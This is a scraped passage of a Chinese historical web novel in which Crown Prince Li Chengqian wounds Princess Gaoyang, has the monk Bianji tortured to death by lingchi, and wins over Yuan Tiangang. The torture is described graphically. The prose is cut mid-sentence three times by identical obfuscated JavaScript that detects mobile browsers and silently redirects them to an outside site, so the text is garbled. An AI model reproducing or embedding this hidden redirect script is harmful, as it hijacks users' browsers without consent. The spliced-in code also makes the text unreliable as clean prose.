“杀得那十八层地狱——空!荡!荡!” “空!荡!荡!” 最后三个字,如同三道天雷,劈在玄武门前,炸得每个人都神魂俱裂,耳中嗡嗡作响。 那股滔天的杀气与狂意,化作了实质的寒风,刮过广场,吹得旌旗猎猎作响,也吹得百官衣袍紧贴在身上,勾勒出他们颤抖的轮廓。 整个世界,死寂无声。 只剩下李承乾那狂魔般的身影,独立于天地之间,仿佛他就是那唯一的地狱之主。 辩机的脸,已经不是死灰,而是一片惨白,白得像纸,薄得仿佛一触即碎。 十八层地狱,是他最后的依仗,是他作为佛门高僧,用来震慑世间帝王的终极法器。 可现在,这法器被李承乾一脚踩得粉碎。 不,他不是踩碎。 他是要冲进去,把那地狱都给拆了! 豆大的冷汗从辩机光洁的额头上滚落,沿着他僵硬的脸颊滑下,滴落在袈裟上,洇开一小片深色的痕迹。 他不能死,他怎么能死在这里? 他是得道高僧,是万众敬仰的佛子,他还要普度众生,还要与高阳公主…… 求生的本能压倒了深入骨髓的恐惧,他像是溺水之人,胡乱地挥舞着手臂,试图抓住另一根救命稻草。 “你……你……”他的声音嘶哑干涩,带着剧烈的颤音,“你杀我,佛祖或许远在西天,可……可天下佛门,天下佛陀,必然不容你!” 这句话,他几乎是吼出来的,用尽了最后一丝气力,仿佛要将自己的灵魂都吼出体外。 “天下僧侣,必将视你为魔!天下信众,必将唾弃于你!你的江山,将永无宁日!” 他声嘶力竭,眼神中带着一种最后的疯狂。 地狱你不怕,那人间呢? 这万千寺庙,亿万信徒,所凝聚成的庞大势力,难道你也不怕吗? 然而,回应他的,又是一阵笑声。 如果说之前的笑是癫狂,是暴虐。 那么此刻的笑,就是纯粹的、不加掩饰的、发自肺腑的嘲弄与鄙夷。 “哈哈……” 李承乾笑得弯下了腰,单手扶着膝盖,肩膀剧烈地耸动。 他抬起头,看向辩机,那眼神,就像在看一个跳梁小丑,在卖力地表演着拙劣的戏法。 “天下佛陀?” 他慢条斯理地重复了一遍,语气中充满了戏谑。 他缓缓直起身,踱着步子,一步一步,不疾不徐地走向已经瘫软在地的辩机。 每一步,都像踩在所有人的心脏上。 “你说的,是那些高坐庙堂,享受人间香火,却对世间疾苦视而不见的泥塑木雕吗?” 他的声音不高,却清晰地传进每个人的耳朵里。 官员们一个个低下了头,不敢与他对视,生怕被那眼神中焚尽一切的火焰所波及。 长孙无忌、房玄龄等人,更是心头巨震。 太子殿下,这是要…… 李承乾走到辩机面前,居高临下地俯视着他,黑色的靴子,几乎要碰到辩机那沾满尘土的袈裟。 “泥塑的佛陀,有何用?” 他轻声反问,像是在问辩机,又像是在问这满天神佛。 “它们能让百姓吃饱穿暖吗?它们能抵御北方的突厥铁骑吗?它们能让这大唐江山,千秋万代吗?” 一连三问,如三记重鞭,抽得辩机哑口无言。 李承乾脸上的笑意更浓了,那笑容里,满是冰冷的杀机。 “它们什么都做不到!” “一群连自己都保不住的泥胎,也配不容我?” 他猛地抬高了音量,声如洪钟,震得玄武门城楼上的灰尘都簌簌落下! “好啊!” 李承乾猛地一甩袖袍,黑色的衣袂在空中划出一道凌厉的弧线。 他伸出手指,点向西方,点向那传说中佛陀所在的方向,也点向大唐境内那无数的寺庙。 “它若不容我,那本宫……” 他顿了顿,环视四周,目光扫过一张张惊骇欲绝的脸,最后重新落在辩机那双失去所有神采的瞳孔上。 “便推翻了这天下佛陀!” “捣毁这天下庙宇!” “让那满天神佛,都给本宫——烟!消!云!散!” 此言一出,天地变色! 一股比之前更加恐怖的寒意,瞬间笼罩了整个玄武门。 所有官员,无论文武,全都齐刷刷地白了脸,身体控制不住地剧烈颤抖起来。 疯了! 太子殿下真的疯了! 这已经不是杀一个和尚那么简单了! 这是要灭佛! 是要与传承了数百年的佛门,彻底开战! 这种话,别说是一个太子,就算是皇帝李世民,也绝不敢说出口! 辩机怔怔地看着李承乾,嘴巴无意识地张着,却发不出任何声音。 他脑海中所有关于佛法的经文,所有关于高僧的仪轨,所有关于信仰的力量,在这一刻,被李承乾这几句狂言,冲击得支离破碎,化为齑粉。 他终于明白了。 眼前的这个太子,不是**,不是邪魔。 他是一个,连神佛都敢拉下神坛,踩在脚下的……怪物! “噗通”一声。 辩机再也支撑不住,彻底瘫倒在地,双目失神,口中喃喃自语,不知所云,整个人如同被抽走了脊梁骨的烂泥。 李承乾缓缓收回指向天际的手,那股焚尽天地的狂傲之气,却未消散分毫,反而如实质般凝聚在他周身,化作了更为纯粹、更为冰冷的杀意。 他的目光,重新落回那摊烂泥般的辩机身上。 那双眸子,黑得像是没有星辰的永夜。 “来人。” 他开口,声音平淡,却让所有人心头一紧。 “将这妖僧,给本宫……拉出去,凌迟!” “凌迟”二字,他说得极慢,极轻,仿佛是在细细品味这两个字所代表的酷烈与血腥。 话音落下,整个玄武门前,死寂一片。 风似乎都停了。 百官们刚刚因“灭佛”之言而煞白的脸,此刻更是毫无血色,甚至泛起了**才有的青灰。 凌迟! 大唐立国以来,虽有酷刑,但“凌迟”这种惨绝人寰的刑罚,早已被太宗皇帝明令废止! 太子殿下,他不仅要**,要灭佛,他还要……复活这前朝的酷刑! 几名负责行刑的羽林卫面面相觑,握着刀柄的手浸满了冷汗,双腿如同灌了铅,竟没有一个人敢动弹。 就在这凝固的空气即将被恐惧压碎的瞬间,一声尖利的女声撕裂了沉寂。 “你敢!” 人群中,一道华贵的宫装身影跌跌撞撞地冲了出来,发髻散乱,钗环乱坠,正是高阳公主。 她扑到辩机身前,张开双臂,像一只护崽的母鸡,用自己娇弱的身躯挡在了李承乾和辩机之间。 她的脸上满是泪水与惊恐,却强撑着一股骄纵之气,死死地瞪着李承乾。 “李承乾!他是得道高僧!你不能杀他!你敢动他一根汗**,我……我就去禀告父皇!” 她以为,搬出李世民,搬出她公主的身份,至少能让这个已经疯魔的兄长有片刻的清醒。 然而,她错了。 她看到李承乾的脸上,浮现出一丝古怪的笑意。 那笑容,比哭还难看,比冰还寒冷。 “禀告父皇?” 李承乾像是听到了什么天大的笑话,他一步一步,走向高阳。 高阳公主被他那骇人的气势逼得连连后退,脚下被裙摆一绊,狼狈地摔倒在地。 “聒噪!” 李承乾的耐心似乎在这一刻耗尽,他甚至懒得多说一个字。 “锵——” 一声龙吟般的剑鸣。 他腰间的佩剑瞬间出鞘,化作一道乌光,在空中划出一道死亡的弧线。 快! 快到极致! 没有人反应过来! 长孙无忌等人只来得及发出一声惊骇的呼喊:“殿下,不可——!” “噗嗤!” 利刃入肉的声音,沉闷而清晰。 一道血线,在高阳公主的左臂上猛然绽开! 鲜红的血液如同决堤的洪水,瞬间喷涌而出,染红了她华美的宫装,也溅湿了她身下冰冷的石板。 “啊——!” 撕心裂肺的惨叫,终于从高阳公主的喉咙里爆发出来。 剧痛,如同潮水般将她淹没。她捂着自己血流如注的左臂,在地上痛苦地翻滚,那张曾经娇艳美丽的脸,此刻因剧痛和恐惧而扭曲得不成样子。 她不敢置信地看着李承乾,看着那个曾经还会对她温和一笑的兄长。 他的眼神里,没有一丝一毫的怜悯,没有一丝一毫的犹豫。 只有……纯粹的,暴虐的,不耐烦的杀意。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253037|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他,真的会杀了自己! “你以为,你有李家的血脉,本宫就不敢杀你了?” 李承乾手腕一抖,剑尖上的血珠被甩落在地,绽开一朵朵小小的血花。他居高临下地俯视着在地上哀嚎的妹妹,语气森寒如九幽之下的寒风。 “再多说一个字,下一剑,砍掉的就是你的脑袋!” 全场,鸦雀无声。 所有人都被这一幕彻底惊呆了。 斩伤公主! 当着文武百官的面,斩伤当朝公主! 疯了! 这个太子,已经彻底失控了! 李承乾不再看高阳一眼,仿佛她只是一只碍事的蝼蚁。他转过头,目光如刀,扫向那几个已经吓傻了的羽林卫。 “还愣着干什么!” 他怒声咆哮,声浪滚滚,震得整个玄武门都在嗡嗡作响。 “把这个妖僧,给本宫拖出去!凌迟!” “本宫要让这长安城内所有的人都看看!要让这天下的佛门都看看!” 他的声音里充满了癫狂的快意。 “这个敢蛊惑公主、秽乱宫闱的妖僧,是怎么一片一片,被剐成碎肉的!” 羽林卫们一个激灵,再也不敢有丝毫迟疑,如狼似虎地扑了上去,架起瘫软如泥的辩机。 死亡的恐惧,和皮肉被拖拽的痛楚,终于将辩机从那片混沌的虚无中拉了回来。 他感觉到粗糙的石板摩擦着他的脸颊,他闻到了自己情人手臂上那浓郁的血腥味。 他要**。 而且是以一种最**、最痛苦的方式死去。 不! 不行! 一股求生的本能,猛地从他内心深处爆发出来。 他挣扎着,用尽全身的力气,抬起头,看向那个手持滴血长剑,如同魔神降世的太子。 “你……你不能杀我!” 他的声音沙哑、破败,却带着一种诡异的镇定,那是绝望之下的最后挣扎。 “贫僧……贫僧乃是玄奘法师亲传弟子!是佛陀在人间的使者!” 辩机喘着粗气,试图重新拾起自己那已经被碾碎的骄傲和尊严。 “你杀了我,就是与佛为敌!佛祖慈悲,亦有金刚之怒!你……你会遭到报应的!整个大唐,都会因为你的**,而陷入万劫不复之地!” 他以为,搬出佛陀,搬出那虚无缥缈的因果报应,能让眼前这个年轻人,产生一丝一毫的忌惮。 然而,李承乾只是静静地听着。 听完之后,他笑了。 那是一种轻蔑的、嘲弄的、看小丑表演般的笑。 他缓缓抬起脚,一脚踩在了辩机那张还在喋喋不休的脸上,用力地碾了碾。 “报应?” 他脚下的力道又重了几分,辩机的颧骨发出令人牙酸的咯吱声,泥沙混着血沫从他的嘴角溢出。 “本宫问你话呢,妖僧。” 李承乾的声音很轻,轻得如同情人间的呢喃,却又带着地狱深处刮来的寒意,钻进在场每一个人的骨头缝里。 “我若让天下无僧,你说,还会有报应吗!” 轰! 这句话,如同一道黑色的闪电,撕裂了玄武门上空阴沉的天幕,狠狠劈在每一个人的心头。 天下,无僧? 这是何等疯魔,何等狂悖,何等大逆不道的言语! 辩机整个人都僵住了。 他那双因为恐惧而暴突的眼睛,死死地瞪着李承乾。 那张踩在他脸上的靴子,此刻在他眼中,仿佛化作了一座巍峨无边的巨山,压得他神魂俱灭。 报应? 佛祖的报应? 他一直以来引以为傲的身份,他用来震慑世人的最后底牌,在这一刻,被眼前这个疯子,用一种更加疯狂、更加彻底的方式,碾得粉碎。 杀一个僧人,会有报应。 那如果……把天下所有的僧人,都杀光呢? 佛,还找谁去报应? 这个念头,如同最恶毒的魔鬼,瞬间侵占了辩机的全部心神。他感觉不到脸上的疼痛了,也听不见妹妹高阳公主那凄厉的哭嚎。他的世界里,只剩下李承乾那平静到令人发指的眼神。 那眼神里,没有疑问,没有试探。 只有陈述。 他在陈述一个他随时可以付诸行动的事实。 “呃……啊……” 辩机的喉咙里发出了破风箱一般的嗬嗬声,他想说话,想反驳,想尖叫,却一个字也吐不出来。一种前所未有的、超越了死亡的恐惧,像冰冷的海水,将他彻底淹没。 他赖以生存的信仰,在这一刻,崩塌了。 他不是佛陀在人间的使者。 他只是一个会流血,会恐惧,会被一脚踩在脸上,连屁都不敢放一个的……凡人。 李承乾看着脚下那张已经彻底失去神采的脸,眼神里的不耐烦愈发浓重。 他似乎觉得,再跟这滩烂泥多说一个字,都是对自己的侮辱。 他缓缓抬起脚,用一种嫌恶的姿态,在旁边的石阶上蹭了蹭靴底,仿佛蹭掉了什么肮脏的秽物。 他甚至没有再看辩机一眼。 他的目光,冷冷地扫过那些噤若寒蝉的文武百官。 从房玄龄煞白的脸,到魏征紧握的双拳,再到长孙无忌那深不见底的眼眸。 所有人都低下了头,不敢与他对视。 今日的太子,是一头挣脱了所有枷锁的洪荒猛兽。 谁敢阻拦,谁就会被撕成碎片。 “还等什么?” 李承乾的声音恢复了之前的暴戾,他对着那几个已经吓得魂不附体的羽林卫咆哮。 “听不懂本宫的话吗!” “凌!迟!” “本宫要让他的哀嚎声,传遍整个长安!本宫要用他的骨头,给这满天神佛,敲响丧钟!” “喏!” 羽林卫们如同被赦免的死囚,爆发出惊人的力气,两人架起辩机的胳膊,两人抬起他的双腿,就像拖着一条死狗,飞快地朝着玄武门外拖去。 粗糙的石板路,在辩机那张曾经俊朗的脸上,划出一道道新的血痕。 他没有挣扎。 他也不敢挣扎了。 他的精神,已经**。 只留下一具空洞的皮囊,等待着那场注定到来的,千刀万剐的酷刑。 刺耳的拖拽声,在死寂的玄武门前回荡。 高阳公主的哭声也戛然而止,她捂着流血的断臂,惊恐地看着自己的兄长,看着那个熟悉又陌生的背影,浑身抖得如同风中落叶。 李承乾手持长剑,血珠顺着剑刃缓缓滑落,滴答,滴答,砸在冰冷的地面上。 他,就那样静静地站着,如同一尊从血海中走出的魔神,俯瞰着他脚下,这个已经彻底被他踩在脚下的世界。 …… 兄弟们,还在看书吗? 有点撑不住了。 在看书的话,吱一声。 第113章 凌迟妖僧 玄武门外,刑场早已备好。 一块空地,一个木桩,除此之外,再无他物。 简陋,却也因此显得愈发可怖。 百姓被羽林卫远远地隔开,他们伸长了脖子,脸上写满了惊恐与好奇,窃窃私语声汇成一片嗡嗡的杂音。 当辩机被拖拽出来时,人群中响起一阵倒吸凉气的声音。 那已经不是一个人了。 那是一团破烂的血肉,僧袍被撕扯得不成样子,混着泥土和鲜血,紧紧贴在身上。 他像一滩烂泥,被羽林卫毫不留情地绑在了木桩上。 李承乾缓步走来,他身后的李氏皇族,包括那些年幼的皇子公主,全都被强令着跟了出来。 他们必须看。 这是兄长的命令。 “杀!” 李承乾没有多余的废话,只从喉咙里挤出一个冰冷的字眼。 这个字,如同一道惊雷,劈开了死寂的刑场。 一名脸上带着刀疤的刽子手走了上来,他手里提着一个皮囊,里面插着长短不一、薄厚各异的刀具。 他对着李承乾的方向躬了躬身,随即转身面向辩机,眼神里没有丝毫波澜。 他从皮囊里抽出一柄薄如蝉翼的小刀。 阳光下,刀刃反射出刺眼的寒光。 “啊——!” 第一刀,从辩机的眉心开始。 那不是割,是片。 刽子手的手腕稳如磐石,一片带着皮肉的皮肤被精准地剥离下来,鲜血瞬间涌出。 凄厉到不似人声的惨嚎,猛地炸响! 这道声音拥有穿透一切的力量,越过高墙,越过坊市,传遍了整个长安城。 无数正在劳作、交谈、行走的百姓,都下意识地停下了动作,骇然地望向皇城的方向。 那是什么声音? 是恶鬼在咆哮吗? 辩机疯狂地扭动着身体,绳索深深地勒进他的皮肉里,但他感觉不到。 他所有的感官,都集中在了脸上那片被剥离的剧痛之上。 “不……不……饶了我……” 他的信仰,他的尊严,他的一切,都在这一刀之下,被彻底粉碎。 他开始求饶,声音嘶哑,语无伦次。 “殿下!太子殿下!我错了!我错了!我猪狗不如!我罪该万死!” “求您给我一个痛快!求您了!” 第二刀,落在了他的脸颊。 又是同样精准的一片。 “啊啊啊啊!” 辩机的哀嚎声变得更加尖锐,他涕泪横流,鼻涕和血水混在一起,流过那张已经开始变得模糊的脸。 “高阳!高阳救我!看在我们往日的情分上!救我!” 他开始呼唤高阳公主的名字,这是他最后的救命稻草。 高阳公主就站在不远处,她捂着自己血流不止的断臂,脸色白得像一张纸。 她看着木桩上那个血肉模糊、丑态百出的人,胃里一阵翻江倒海。 这就是她爱过的男人? 那个温文尔雅,满腹经纶,与她谈论风月、探讨佛法的辩机和尚? 不! 不是他! 那个辩机已经**,眼前这个,只是一个在酷刑下摇尾乞怜的…… 畜生! 然而,当辩机的目光穿越血污,与她对视的那一刻,她还是忍不住浑身一颤。 那眼神里充满了乞求,充满了绝望,也充满了怨毒。 在质问她,为什么不救他! 高阳公主的心,被一只无形的大手狠狠攥住。 痛。 比断臂之痛,还要痛上千倍万倍。 但在这极致的痛苦之中,一种更为猛烈的情绪,如同火山般喷发出来。 是恨! 滔天的恨意! 她不恨辩机的丑态,她恨那个将这一切加诸于他们身上的人! 她缓缓地,一点一点地抬起头,那双被泪水浸泡过的眼睛,死死地盯住了那个持剑而立的背影。 李承乾! 都是他! 是她的亲哥哥,将她推入了这万劫不复的地狱! 她要他死! 她要让他付出代价! 要让他尝到比这凌迟更痛苦一万倍的滋味! 这股怨毒的念头,像毒蛇一样盘踞在她的心头,让她因为失血和恐惧而颤抖的身体,奇迹般地稳定了下来。 似乎是感受到了这股灼人的视线,李承乾豁然转头。 他的目光,冷厉如刀,精准地落在了高阳公主的脸上。 四目相对。 高阳公主心中那刚刚燃起的滔天恨意,在接触到李承乾眼神的瞬间,就被一盆冰水当头浇下,瞬间熄灭了。 她不敢! 她不敢与他对视! 那双眼睛里,没有亲情,没有怜悯,只有一片冰冷的、毁灭一切的虚无。 她毫不怀疑,如果自己再多看一秒,下一刻那把滴血的长剑,就会洞穿自己的咽喉。 她狼狈地低下头,死死咬住嘴唇,任由断臂处的鲜血染红衣袖。 李承乾嘴角勾起一抹微不可察的弧度,充满了轻蔑。 他缓缓转过头,继续欣赏着那场血腥的盛宴。 刑场上,辩机的哀嚎声已经渐渐微弱下去,变成了断断续续的呻吟。 他的身上,已经找不到几块完好的皮肤。 刽子手的刀法出神入化,每一刀都避开了要害,让他清晰地感受着每一寸肌肤被剥离的痛苦。 如此手段,见所未见,闻所未闻! 在场的文官们,一个个面如土色,有人甚至已经撑不住,弯下腰剧烈地呕吐起来。 房玄龄和魏征紧紧地并肩站着,两人的手都在袖中死死握成了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253038|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拳,指甲深陷掌心。 他们看到的不是一个僧人被处死。 他们看到的是礼乐崩坏,是人伦尽丧! 太子,太疯狂了! 与文官们的惊恐不同,另一侧的武将们,却是另一番景象。 程咬金摸着自己的大胡子,铜铃般的眼睛里闪烁着兴奋的光芒。 “痛快!**,真**痛快!” 他压低了声音,对着身边的秦琼说道,“这妖僧蛊惑皇家公主,就该这么炮制他!太子殿下这手段,有咱们陛下当年的风范!” 秦琼没有说话,只是眉头紧锁,看着那个在血泊中挣扎的身影,眼神复杂。 尉迟宝林更是直接,他咧着大嘴,嘿嘿直笑:“这才叫爷们儿!对敌人狠,对自己人……不,对犯了错的亲人,更狠!这才是咱们李家的种!不像某些软趴趴的皇子,看到血就尿裤子!” 他说话的声音不小,不远处的魏王李泰听得清清楚楚,脸色瞬间变得铁青。 这帮粗鄙的武夫! 他们竟然在赞叹这种残暴! 城墙之上,李世民一身常服,负手而立。 他的身后,长孙无忌和一众内侍连大气都不敢喘。 劲风吹动着李世民的衣袍,他面沉如水,深邃的眼眸倒映着下方那片血色。 辩机的哀嚎,百姓的惊呼,武将的赞叹,文官的恐惧…… 所有的声音交织在一起,传入他的耳中。 但他什么都没听到。 他的眼中,只有一个身影。 那个持剑而立,如同魔神降世的儿子。 李承乾。 这一刻,李世民感到的不是愤怒,不是失望。 是一种发自灵魂深处的…… 震撼! 以及,连他自己都不愿承认的…… 恐惧。 他想起了多年前的玄武门。 那一日,他也曾这样,手持滴血的兵刃,踩着兄弟的尸骨,踏上了权力的巅峰。 他以为,自己已经足够心狠手辣。 可与眼前的承乾相比,自己当年的所作所为,简直如同儿戏。 杀兄弟,是为了活下去,是为了那个至高无上的位置。 可承乾呢? 他仅仅因为一个僧人,就掀起如此滔天的杀戮。 他不光要**,还要诛心! 他要用这最残酷的刑罚,挑战佛陀,挑战天道,挑战这世间一切的秩序! “我若让天下无僧,你说,还会有报应吗?” 这句话,跨越了空间,又一次在李世民的耳边响起。 他浑身一凛,寒意从脚底直冲天灵盖。 这个念头…… 这个疯狂到极致的念头! 他这个儿子,到底想做什么? 李承乾比当年的他,还要疯狂! 还要血腥! 第114章 大唐国师袁天罡倒戈! 血腥气弥漫玄武门 辩机的残躯还在血泊中微微抽搐,像一条被摔断了脊梁的狗。 李承乾的目光从那滩烂肉上移开,扫过面前噤若寒蝉的文武百官,他的声音不带温度,是从九幽之下传来。 “妖僧辩机,秽乱宫闱,罪大恶极。” “其罪,不止于此。” 他顿了顿,森寒的杀气如实质般扩散开来,让空气都凝固了。 “孤怀疑,此獠乃是前朝余孽,或是他国奸细,潜入我大唐,意图颠覆社稷!” 此言一出,满场皆惊! 房玄龄和魏征的脸色霎时惨白。 太子这是要干什么? 他杀了人还不够,还要株连,还要将此事无限扩大化吗? “来人!” 李承乾没有给任何人反应的时间,他猛地一挥手,声音如雷。 “不良人何在!” 话音落下的瞬间,玄武门广场的阴影里,有鬼魅蠕动。 “唰!唰!唰!” 数十道黑影悄无声息地出现,他们身着统一的玄色劲装,头戴兜帽,脸上是冰冷狰狞的青铜面具,只露出一双双毫无感情的眼睛。 他们就从地狱里爬出来的勾魂使者,身上散发着死亡与血腥的味道。 为首一人,身材高大,面具上雕刻着一条狰狞的恶龙,他单膝跪地,声音沙哑低沉,金属摩擦。 “三百不良人,参见太子殿下!” 这个名字,这个声音,让在场所有人都感觉头皮发麻。 不良人! 这支直属于皇帝,游离于百官体系之外的暗影力量,传说中无孔不入,掌管着大唐最隐秘的情报与最肮脏的杀戮。 他们怎么会听命于太子? 李承乾看都没看跪在地上的人,他的目光依旧冰冷,直视前方。 “彻查金城坊会昌寺!彻查与妖僧辩机所有往来之人!但凡有牵连者,无论身份,无论地位……” 他的声音停顿了一下,嘴角勾起一抹残忍的弧度。 “……格杀勿论!” “遵命!” 不良帅没有丝毫迟疑,猛地起身,一挥手,那数十名不良人便如同鬼影般再次融入阴影,消失得无影无踪,从未出现过。 现场死的寂静。 只有风声,卷起地上的血腥,吹过一张张惊骇欲绝的脸。 城墙之上,李世民的拳头在袖中攥得咯咯作响。 不良人! 他亲手建立的利刃,他最隐秘的耳目,现在,却成了他儿子手中的刀! 袁天罡? 不,不对,那个声音…… 李世民猛地反应过来,不良帅袁天罡早已被他罢黜,此刻应该在终南山隐居才对! 那刚才跪下的,是谁? 李承乾到底还藏着多少**的底牌! 就在这时,一阵骚动从人群后方传来。 百姓们自发地让开了一条道路,一个身影缓缓走来。 他穿着一身洗得发白的粗布麻衣,赤着双脚,头发用一根简单的木簪束起,面容清癯,眼神古井无波。 可就是这样一个看似普通的布衣老者,却让在场所有认识他的人,都见了鬼一样。 “袁……袁天罡?” 长孙无忌在城墙上失声惊呼,声音都在颤抖。 没错! 正是那个曾经身穿七星袍,手持拂尘,俯瞰众生的大唐国师,袁天罡! 他怎么会在这里? 他不是已经心灰意冷,与陛下割袍断义,永世不出终南山了吗? 李世民看到袁天罡的瞬间,眼中的恐惧和震怒竟被狂喜所取代。 国师! 是国师来了! 他一定是看到了承乾的倒行逆施,不忍大唐基业毁于一旦,所以才破誓下山! “国师!助我!” 李世民再也顾不得帝王的仪态,他趴在城墙的垛口上,对着下方大声呼喊,声音里充满了急切与希望。 他的声音,点燃了所有文官心中的火焰。 房玄龄与魏征对视一眼,都从对方眼中看到了劫后余生的庆幸。 国师来了,一切就还有挽回的余地! 国师乃是方外之人,威望素著,连陛下都要敬他三分,定能劝住疯狂的太子! 另一边,被侍卫死死按住,已经哭到虚脱的高阳公主,也猛地抬起头。 她的双眼布满血丝,死死地盯着那个布衣身影,抓住了最后一根救命稻草。 是国师! 是那个能知过去未来的活神仙! “国师……杀了李承乾!杀了他!” 她在心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253039|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中疯狂地呐喊,嘶吼。 “请国师斩杀**!为我报仇!为辩机报仇啊!” 所有人的目光都聚焦在袁天罡身上,期盼着他能拨乱反正,用他那神鬼莫测的手段,制止这场可怕的杀戮。 然而,袁天罡的脚步没有丝毫停顿。 他没有看城墙上的皇帝。 没有看满脸期盼的文武百官。 更没有看那个在血泊边上,对他投来怨毒目光的公主。 他穿过人群,走过血污,一步一步,走到了那个持剑而立,宛如魔神的太子面前。 在万众瞩目之下。 在李世民撕心裂肺的呼喊声中。 袁天罡整理了一下自己那身廉价的布衣,对着李承乾,缓缓地、郑重地、深深地…… 弯下了他的腰。 这是一个臣子拜见君主的最高礼节。 “草民,袁天罡……” 他那清朗而又带着宿命般沧桑的声音,清晰地传遍了整个玄武门广场。 “拜见太子殿下!” 轰隆! 一道天雷在所有人头顶炸开! 整个世界,瞬间失声。 时间在这一刻静止了。 所有人都瞪大了眼睛,张大了嘴巴,脸上的表情凝固成了最荒诞的雕塑。 他们看到了什么? 大唐国师,那个曾经连皇帝都要礼遇有加的袁天罡…… 竟然向太子李承乾行此大礼? 还自称“草民”? 这代表了什么? 这意味着他彻底放弃了国师的身份,放弃了李世民赐予他的一切荣光! 他不是来勤王的! 他是来…… 投诚的! “不……不可能……” 房玄龄喃喃自语,身体晃了晃,几乎要栽倒在地。 魏征一张老脸血色尽褪,嘴唇哆嗦着,一个字也说不出来。 程咬金那铜铃大眼睛里,兴奋的光芒早已熄灭,取而代之的是浓浓的困惑与震惊。 “俺的娘哎……这……这是唱的哪一出?” 秦琼紧锁的眉头皱得更深了,他看着那个布衣身影,又看了看面无表情的太子,心中掀起了惊涛骇浪。 城墙之上。 李世民脸上的狂喜,寸寸碎裂。 第115章 天师者,代天行罚,匡扶正道! 他眼中的光芒,一点点黯淡下去,最后化为一片死寂的灰。 他怔怔地看着下方那个向他儿子俯首称臣的身影,感觉自己的心脏被一只无形的大手狠狠攥住,连呼吸都变得困难。 那个曾经对他说“天机不可泄露”的人。 那个曾经在他最迷茫时为他指点迷津的人。 那个他以为永远会站在自己身后的道门领袖。 倒戈了。 他背叛了自己,选择了那个让他感到恐惧的儿子。 为什么? 这到底是为什么? 李世民的身体剧烈地颤抖起来,无法言喻的冰冷,从骨髓深处蔓延开来,瞬间传遍四肢百骸。 他不是输给了一个疯狂的儿子。 他是输给了天命吗? 李承乾看着面前俯首的袁天罡,脸上依旧是那副冷漠的神情,这一切都在他的意料之中。 他伸出手,轻轻地在袁天罡的肩膀上拍了拍。 一个简单的动作,却一记响亮的耳光,狠狠地抽在了城墙上那位天可汗的脸上。 “国师,免礼。” 李承乾的声音不大,却带着一种不容置疑的威严。 “从今往后,你不再是国师。” 他收回手,目光越过袁天罡,望向远方那巍峨的宫殿。 “你,将是孤的……天师!” 袁天罡直起了他那微弯的腰,身姿依旧瘦削,却在这一刻撑起了天地。 他没有看李承乾,而是缓缓转身,那双洞悉世事的眼眸,扫过玄武门前黑压压的人群,扫过一张张或震惊、或困惑、或恐惧的脸。 最后,他的目光,如两道利剑,刺向了那高耸的城墙,刺向了那个已经面无人色的天可汗。 “殿下册封草民为天师,草民,愧不敢当。” 袁天罡的声音不大,却带着一种奇特的穿透力,压下了所有的窃窃私语。 “天师者,代天行罚,匡扶正道。” 他顿了顿,声音陡然拔高,充满了悲愤与苍凉,“可如今,这朗朗乾坤,何处有道?这巍巍长安,妖魔横行!” 他猛地一甩袖,从那宽大的布袍中,竟掏出了一卷厚厚的、边缘已经磨损发黑的竹简,狠狠地砸在了脚下的青石板上! “啪!” 清脆的响声,像一记耳光,抽在每个人的心上。 “此乃我不良人五年心血!” 袁天罡的声音里带着血泪,他指着那卷竹简,手指因用力而微微颤抖。 “贞观十年,不良人查,长安城内,大小寺庙一百零三座,僧侣三千,坐拥良田万顷,商铺千家,却从不向国库纳一文税,不为朝廷出一分力!” “此为其一,窃国之贼!” 人群中发出一阵压抑的惊呼。 万顷良田,千家商铺? 这些不食人间烟火的和尚,竟然比许多世家大族还要富有? 城墙上,房玄龄与杜如晦对视一眼,皆从对方眼中看到了惊骇。 他们身为宰相,竟对佛门势力渗透之深,了解得如此粗浅! 袁天罡没有停,他的声音愈发激昂,如杜鹃泣血。 “贞观十二年,不良人又查!长安城最大的青楼丽春坊,其背后最大的金主,竟是城西那座香火鼎盛的会昌寺!” 轰! 如果说前一桩罪行只是让人们震惊,那这一桩,简直是颠覆了所有人的三观! 佛门清净地,竟然是风月场的幕后老板? 这简直是滑天下之大稽! “他们将信徒供奉的香火钱,化作肮脏的银水,借贷给那些走投无路的赌徒、商贩,收取十倍、甚至百倍的利息!这叫什么?这叫‘欢喜债’!” 袁天罡的脸上露出一抹极尽讽刺的冷笑。 “此为其二,辱佛之贼!” “俺的娘哎……” 程咬金嘴巴张得能塞下一个拳头,他怎么也想不到,自己偶尔路过还会双手合十拜一拜的寺庙,干的竟是这等龌龊勾当。 “不止如此!” 